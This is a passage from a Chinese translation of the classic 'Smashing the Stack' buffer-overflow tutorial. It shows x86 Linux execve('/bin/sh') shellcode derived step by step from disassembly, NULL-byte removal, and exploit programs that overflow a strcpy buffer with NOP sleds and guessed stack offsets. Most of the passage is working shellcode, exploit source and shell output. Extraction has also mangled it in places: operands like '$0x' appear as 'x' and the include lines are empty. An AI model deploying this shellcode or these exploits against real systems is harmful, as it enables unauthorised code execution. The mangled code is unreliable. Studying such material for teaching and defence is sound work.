%eax接着就把name[]的地址压入堆栈中.0x800014a : movl 0xfffffff8(%ebp),%eax把字串"/bin/sh"的地址放到EAX寄存器中0x800014d : pushl %eax接着就把字串"/bin/sh"的地址压入堆栈中0x800014e : call 0x80002bc <__execve>调用库例程execve(). 这个调用指令把IP(指令指针)压入堆栈中.------------------------------------------------------------------------------现在到了execve(). 要注意我们使用的是基于Intel的Linux系统. 系统调用的细节随操作系统和CPU的不同而不同. 有的把参数压入堆栈中, 有的保存在寄存器里. 有的使用软中断跳入内核模式, 有的使用远调用(far call). Linux把传给系统调用的参数保存在寄存器里, 并且使用软中断跳入内核模式.------------------------------------------------------------------------------0x80002bc <__execve>: pushl %ebp0x80002bd <__execve+1>: movl %esp,%ebp0x80002bf <__execve+3>: pushl %ebx例程的准备工作.0x80002c0 <__execve+4>: movl xb,%eax把0xb(十进制的11)放入寄存器EAX中(原文误为堆栈). 0xb是系统调用表的索引11就是execve.0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx把"/bin/sh"的地址放到寄存器EBX中.0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx把name[]的地址放到寄存器ECX中.0x80002cb <__execve+15>: movl 0x10(%ebp),%edx把空指针的地址放到寄存器EDX中.0x80002ce <__execve+18>: int x80进入内核模式.------------------------------------------------------------------------------由此可见调用execve()也没有什么太多的工作要做, 所有要做的事情总结如下:a) 把以NULL结尾的字串"/bin/sh"放到内存某处.b) 把字串"/bin/sh"的地址放到内存某处, 后面跟一个空的长字(null long word).c) 把0xb放到寄存器EAX中.d) 把字串"/bin/sh"的地址放到寄存器EBX中.e) 把字串"/bin/sh"地址的地址放到寄存器ECX中.(注: 原文d和e步骤把EBX和ECX弄反了)f) 把空长字的地址放到寄存器EDX中.g) 执行指令int x80.但是如果execve()调用由于某种原因失败了怎么办? 程序会继续从堆栈中读取指令,这时的堆栈中可能含有随机的数据! 程序执行这样的指令十有八九会core dump. 如果execve调用失败我们还是希望程序能够干净地退出. 为此必须在调用execve之后加入一个exit系统调用. exit系统调用在汇编语言看起来象什么呢?exit.c------------------------------------------------------------------------------#includevoid main() {exit(0);}------------------------------------------------------------------------------------------------------------------------------------------------------------[aleph1]$ gcc -o exit -static exit.c[aleph1]$ gdb exitGDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...(no debugging symbols found)...(gdb) disassemble _exitDump of assembler code for function _exit:0x800034c <_exit>: pushl %ebp0x800034d <_exit+1>: movl %esp,%ebp0x800034f <_exit+3>: pushl %ebx0x8000350 <_exit+4>: movl x1,%eax0x8000355 <_exit+9>: movl 0x8(%ebp),%ebx0x8000358 <_exit+12>: int x800x800035a <_exit+14>: movl 0xfffffffc(%ebp),%ebx0x800035d <_exit+17>: movl %ebp,%esp0x800035f <_exit+19>: popl %ebp0x8000360 <_exit+20>: ret0x8000361 <_exit+21>: nop0x8000362 <_exit+22>: nop0x8000363 <_exit+23>: nopEnd of assembler dump.------------------------------------------------------------------------------系统调用exit会把0x1放到寄存器EAX中, 在EBX中放置退出码, 并且执行"int 0x80".就这些了! 大多数应用程序在退出时返回0, 以表示没有错误. 我们在EBX中也放入0. 现在我们构造shell code的步骤就是这样的了:a) 把以NULL结尾的字串"/bin/sh"放到内存某处.b) 把字串"/bin/sh"的地址放到内存某处, 后面跟一个空的长字(null long word).c) 把0xb放到寄存器EAX中.d) 把字串"/bin/sh"的地址放到寄存器EBX中.e) 把字串"/bin/sh"地址的地址放到寄存器ECX中.(注: 原文d和e步骤把EBX和ECX弄反了)f) 把空长字的地址放到寄存器EDX中.g) 执行指令int x80.h) 把0x1放到寄存器EAX中.i) 把0x0放到寄存器EAX中.j) 执行指令int x80.试着把这些步骤变成汇编语言, 把字串放到代码后面. 别忘了在数组后面放上字串地址和空字, 我们有如下的代码:------------------------------------------------------------------------------movl string_addr,string_addr_addrmovb x0,null_byte_addrmovl x0,null_addrmovl xb,%eaxmovl string_addr,%ebxleal string_addr,%ecxleal null_string,%edxint x80movl x1, %eaxmovl x0, %ebxint x80/bin/sh string goes here.------------------------------------------------------------------------------问题是我们不知道在要破解的程序的内存空间中, 上述代码(和其后的字串)会被放到哪里. 一种解决方法是使用JMP和CALL指令. JMP和CALL指令使用相对IP的寻址方式, 也就是说我们可以跳到距离当前IP一定间距的某个位置, 而不必知道那个位置在内存中的确切地址. 如果我们在字串"/bin/sh"之前放一个CALL指令, 并由一个JMP指令转到CALL指令上.当CALL指令执行的时候, 字串的地址会被作为返回地址压入堆栈之中. 我们所需要的就是把返回地址放到一个寄存器之中. CALL指令只是调用我们上述的代码就可以了. 假定J代表JMP指令, C代表CALL指令, s代表字串, 执行过程如下所示:内存低 DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF 内存高地址 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF 地址buffer sfp ret a b c<------ [JJSSSSSSSSSSSSSSCCss][ssss][0xD8][0x01][0x02][0x03]^|^ ^| ||||_____________||____________| (1)(2) ||_____________|||______________| (3)堆栈顶部堆栈底部运用上述的修正方法, 并使用相对索引寻址, 我们代码中每条指令的字节数目如下:------------------------------------------------------------------------------jmp offset-to-call # 2 bytespopl %esi # 1 bytemovl %esi,array-offset(%esi) # 3 bytesmovb x0,nullbyteoffset(%esi)# 4 bytesmovl x0,null-offset(%esi) # 7 bytesmovl xb,%eax # 5 bytesmovl %esi,%ebx # 2 bytesleal array-offset(%esi),%ecx # 3 bytesleal null-offset(%esi),%edx # 3 bytesint x80 # 2 bytesmovl x1, %eax # 5 bytesmovl x0, %ebx # 5 bytesint x80 # 2 bytescall offset-to-popl # 5 bytes/bin/sh string goes here.------------------------------------------------------------------------------通过计算从jmp到call, 从call到popl, 从字串地址到数组, 从字串地址到空长字的偏量, 我们得到:------------------------------------------------------------------------------jmp 0x26 # 2 bytespopl %esi # 1 bytemovl %esi,0x8(%esi) # 3 bytesmovb x0,0x7(%esi) # 4 bytesmovl x0,0xc(%esi) # 7 bytesmovl xb,%eax # 5 bytesmovl %esi,%ebx # 2 bytesleal 0x8(%esi),%ecx # 3 bytesleal 0xc(%esi),%edx # 3 bytesint x80 # 2 bytesmovl x1, %eax # 5 bytesmovl x0, %ebx # 5 bytesint x80 # 2 bytescall -0x2b # 5 bytes.string \"/bin/sh\" # 8 bytes------------------------------------------------------------------------------这看起来很不错了. 为了确保代码能够正常工作必须编译并执行. 但是还有一个问题.我们的代码修改了自身, 可是多数操作系统将代码页标记为只读. 为了绕过这个限制我们必须把要执行的代码放到堆栈或数据段中, 并且把控制转到那里. 为此应该把代码放到数据段中的全局数组中. 我们首先需要用16进制表示的二进制代码. 先编译, 然后再用gdb来取得二进制代码.shellcodeasm.c------------------------------------------------------------------------------void main() {__asm__("jmp 0x2a # 3 bytespopl %esi # 1 bytemovl %esi,0x8(%esi) # 3 bytesmovb x0,0x7(%esi) # 4 bytesmovl x0,0xc(%esi) # 7 bytesmovl xb,%eax # 5 bytesmovl %esi,%ebx # 2 bytesleal 0x8(%esi),%ecx # 3 bytesleal 0xc(%esi),%edx # 3 bytesint x80 # 2 bytesmovl x1, %eax # 5 bytesmovl x0, %ebx # 5 bytesint x80 # 2 bytescall -0x2f # 5 bytes.string \"/bin/sh\" # 8 bytes");}------------------------------------------------------------------------------------------------------------------------------------------------------------[aleph1]$ gcc -o shellcodeasm -g -ggdb shellcodeasm.c[aleph1]$ gdb shellcodeasmGDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...(gdb) disassemble mainDump of assembler code for function main:0x8000130 : pushl %ebp0x8000131 : movl %esp,%ebp0x8000133 : jmp 0x800015f0x8000135 : popl %esi0x8000136 : movl %esi,0x8(%esi)0x8000139 : movb x0,0x7(%esi)0x800013d : movl x0,0xc(%esi)0x8000144 : movl xb,%eax0x8000149 : movl %esi,%ebx0x800014b : leal 0x8(%esi),%ecx0x800014e : leal 0xc(%esi),%edx0x8000151 : int x800x8000153 : movl x1,%eax0x8000158 : movl x0,%ebx0x800015d : int x800x800015f : call 0x80001350x8000164 : das0x8000165 : boundl 0x6e(%ecx),%ebp0x8000168 : das0x8000169 : jae 0x80001d3 <__new_exitfn+55>0x800016b : addb %cl,0x55c35dec(%ecx)End of assembler dump.(gdb) x/bx main+30x8000133 : 0xeb(gdb)0x8000134 : 0x2a(gdb)...------------------------------------------------------------------------------testsc.c------------------------------------------------------------------------------char shellcode[] ="\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00" "\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80" "\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff" "\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";void main() {int *ret;ret = (int *)&ret + 2;(*ret) = (int)shellcode;}------------------------------------------------------------------------------------------------------------------------------------------------------------[aleph1]$ gcc -o testsc testsc.c[aleph1]$ ./testsc$ exit[aleph1]$------------------------------------------------------------------------------成了! 但是这里还有一个障碍, 在多数情况下, 我们都是试图使一个字符缓冲区溢出.那么在我们shellcode中的任何NULL字节都会被认为是字符串的结尾, 复制工作就到此为止了. 对于我们的破解工作来说, 在shellcode里不能有NULL字节. 下面来消除这些字节,同时把代码精简一点.Problem instruction: Substitute with:--------------------------------------------------------movb x0,0x7(%esi) xorl %eax,%eaxmolv x0,0xc(%esi) movb %eax,0x7(%esi)movl %eax,0xc(%esi)--------------------------------------------------------movl xb,%eax movb xb,%al--------------------------------------------------------movl x1, %eax xorl %ebx,%ebxmovl x0, %ebx movl %ebx,%eaxinc %eax--------------------------------------------------------Our improved code:shellcodeasm2.c------------------------------------------------------------------------------void main() {__asm__("jmp 0x1f # 2 bytespopl %esi # 1 bytemovl %esi,0x8(%esi) # 3 bytesxorl %eax,%eax # 2 bytesmovb %eax,0x7(%esi) # 3 bytesmovl %eax,0xc(%esi) # 3 bytesmovb xb,%al # 2 bytesmovl %esi,%ebx # 2 bytesleal 0x8(%esi),%ecx # 3 bytesleal 0xc(%esi),%edx # 3 bytesint x80 # 2 bytesxorl %ebx,%ebx # 2 bytesmovl %ebx,%eax # 2 bytesinc %eax # 1 bytesint x80 # 2 bytescall -0x24 # 5 bytes.string \"/bin/sh\" # 8 bytes# 46 bytes total");}------------------------------------------------------------------------------And our new test program:testsc2.c------------------------------------------------------------------------------char shellcode[] ="\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh";void main() {int *ret;ret = (int *)&ret + 2;(*ret) = (int)shellcode;}------------------------------------------------------------------------------------------------------------------------------------------------------------[aleph1]$ gcc -o testsc2 testsc2.c[aleph1]$ ./testsc2$ exit[aleph1]$破解实战~~~~~~~~~~现在把手头的工具都准备好. 我们已经有了shellcode. 我们知道shellcode必须是被溢出的字符串的一部分. 我们知道必须把返回地址指回缓冲区. 下面的例子说明了这几点:overflow1.c------------------------------------------------------- char shellcode[] ="\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b""\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd""\x80\xe8\xdc\xff\xff\xff/bin/sh";char large_string[128];void main() {char buffer[96];int i;long *long_ptr = (long *) large_string;for (i = 0; i < 32; i++)*(long_ptr + i) = (int) buffer;for (i = 0; i < strlen(shellcode); i++)large_string[i] = shellcode[i];strcpy(buffer,large_string);}-------------------------------------------------------------------------------------------------------------- [aleph1]$ gcc -o exploit1 exploit1.c[aleph1]$ ./exploit1$ exitexit[aleph1]$------------------------------------------------------- 如上所示, 我们用buffer[]的地址来填充large_string[]数组, shellcode就将会在buffer[]之中. 然后我们把shellcode复制到large_string字串的开头. strcpy()不做任何边界检查就会将large_string复制到buffer中去, 并且覆盖返回地址. 现在的返回地址就是我们shellcode的起始位置. 一旦执行到main函数的尾部, 在试图返回时就会跳到我们的shellcode中, 得到一个shell.我们所面临的问题是: 当试图使另外一个程序的缓冲区溢出的时候, 如何确定这个缓冲区(会有我们的shellcode)的地址在哪? 答案是: 对于每一个程序, 堆栈的起始地址都是相同的. 大多数程序不会一次向堆栈中压入成百上千字节的数据. 因此知道了堆栈的开始地址, 我们可以试着猜出这个要使其溢出的缓冲区在哪. 下面的小程序会打印出它的堆栈指针:sp.c------------------------------------------------------- unsigned long get_sp(void) {__asm__("movl %esp,%eax");}void main() {printf("0x%x\n", get_sp());}--------------------------------------------------------------------------------------------------------------[aleph1]$ ./sp0x8000470[aleph1]$-------------------------------------------------------假定我们要使其溢出的程序如下:vulnerable.c-------------------------------------------------------void main(int argc, char *argv[]) {char buffer[512];if (argc > 1)strcpy(buffer,argv[1]);}-------------------------------------------------------我们创建一个程序可以接受两个参数, 一是缓冲区大小, 二是从其自身堆栈指针算起的偏移量(这个堆栈指针指明了我们想要使其溢出的缓冲区所在的位置). 我们把溢出字符串放到一个环境变量中, 这样就容易操作一些.exploit2.c-------------------------------------------------------#include#define DEFAULT_OFFSET 0#define DEFAULT_BUFFER_SIZE 512char shellcode[] ="\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b""\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd""\x80\xe8\xdc\xff\xff\xff/bin/sh";unsigned long get_sp(void) {__asm__("movl %esp,%eax");}void main(int argc, char *argv[]) {char *buff, *ptr;long *addr_ptr, addr;int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;int i;if (argc > 1) bsize = atoi(argv[1]);if (argc > 2) offset = atoi(argv[2]);if (!(buff = malloc(bsize))) {printf("Can't allocate memory.\n");exit(0);}addr = get_sp() - offset;printf("Using address: 0x%x\n", addr);ptr = buff;addr_ptr = (long *) ptr;for (i = 0; i < bsize; i+=4)*(addr_ptr++) = addr;ptr += 4;for (i = 0; i < strlen(shellcode); i++)*(ptr++) = shellcode[i];buff[bsize - 1] = '';memcpy(buff,"EGG=",4);putenv(buff);system("/bin/bash");}------------------------------------------------------- 现在我们尝试猜测缓冲区的大小和偏移量:------------------------------------------------------- [aleph1]$ ./exploit2 500Using address: 0xbffffdb4[aleph1]$ ./vulnerable $EGG[aleph1]$ exit[aleph1]$ ./exploit2 600Using address: 0xbffffdb4[aleph1]$ ./vulnerable $EGGIllegal instruction[aleph1]$ exit[aleph1]$ ./exploit2 600 100Using address: 0xbffffd4c[aleph1]$ ./vulnerable $EGGSegmentation fault[aleph1]$ exit[aleph1]$ ./exploit2 600 200Using address: 0xbffffce8[aleph1]$ ./vulnerable $EGGSegmentation fault[aleph1]$ exit...[aleph1]$ ./exploit2 600 1564Using address: 0xbffff794[aleph1]$ ./vulnerable $EGG$-------------------------------------------------------正如我们所看到的, 这并不是一个很有效率的过程. 即使知道了堆栈的起始地址, 尝试猜测偏移量也几乎是不可能的. 我们很可能要试验几百次, 没准几千次也说不定. 问题的关键在于我们必须*确切*地知道我们代码开始的地址. 如果偏差哪怕只有一个字节我们也只能得到段错误或非法指令错误. 提高成功率的一种方法是在我们溢出缓冲区的前段填充NOP指令. 几乎所有的处理器都有NOP指令执行空操作. 常用于延时目的. 我们利用它来填充溢出缓冲区的前半段. 然后把shellcode放到中段, 之后是返回地址. 如果我们足够幸运的话, 返回地址指到NOPs字串的任何位置, NOP指令就会执行, 直到碰到我们的shellcode. 在Intel体系结构中NOP指令只有一个字节长, 翻译为机器码是0x90. 假定堆栈的起始地址是0xFF, S代表shellcode, N代表NOP指令, 新的堆栈看起来是这样:内存低 DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF 内存高地址 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF 地址buffer sfp ret a b c<------ [NNNNNNNNNNNSSSSSSSSS][0xDE][0xDE][0xDE][0xDE][0xDE] ^ ||_____________________|堆栈顶端堆栈底部新的破解程序如下:exploit3.c-------------------------------------------------------#include#define DEFAULT_OFFSET 0#define DEFAULT_BUFFER_SIZE 512#define NOP 0x90char shellcode[] ="\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b""\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd""\x80\xe8\xdc\xff\xff\xff/bin/sh";。